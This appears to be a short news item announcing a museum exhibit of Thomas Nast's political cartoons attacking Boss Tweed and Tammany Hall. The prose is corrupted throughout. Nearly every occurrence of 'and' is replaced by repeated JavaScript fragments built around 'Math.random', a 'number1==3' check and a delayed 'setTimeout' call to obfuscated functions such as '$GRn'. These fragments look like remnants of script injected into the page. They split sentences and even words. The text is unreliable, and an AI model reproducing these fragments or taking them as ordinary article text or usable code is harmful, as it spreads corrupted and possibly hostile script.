MORRISTOWN, N.J. — Macculloch Hall Historical Museum is exhibiting “Thomas Nast Brings Down Boss Tweed” in the second floor Thomas Nast Gallery. The display features more than 20 examples of the political cartoons Nast created attacking Boss Tweed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Tammany Hall. 

Nast (1840–1902) is one of the most recognized names in the world of political cartoons. Often called the father of American political cartooning, Nast’s images remain popular today. His well-known depictions of the Democratic donkey andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Republican elephant, conceived more than 100 years ago, continue to represent both parties today. Uncle Sam andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Columbia, two of his favorite figures to draw, are still recognized as symbols for the United States of America.

Nast’s battlefront andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and home front images drawn during the Civil War were powerful tools for bringing the war into people’s homes. His spirit lives on today through his iconic representations of Santa Claus. The classic images that Nast popularized of the jolly old elf still appear on a variety of surfaces each year during the holiday season. 

The campaign that contributed most to Nast’s fame was the one he carried on so relentlessly against the Tammany Ring of New York in the 1870s. The target of Nast’s attack was “Boss” William M. Tweed (1823–1878), the political leader of New York City’s Tammany Hall. Tweed worked his way up from ward politician to become the most powerful political force in the city andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and state of New York.

As head of the city’s Commission of Public Works, Tweed was in position to handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and out lucrative contracts to his cronies who “kicked back” a major part of their receipts to the ring. By appointing his Tammany Hall associates to key public offices, Tweed was able to prevent disclosure of his fraudulent activities. Nast’s cartoons helped bring Tweed’s activities to light.

Macculloch Hall Historical Museum is at 45 Macculloch Avenue. For information, 973-538-2404 or www.maccullochhall.org.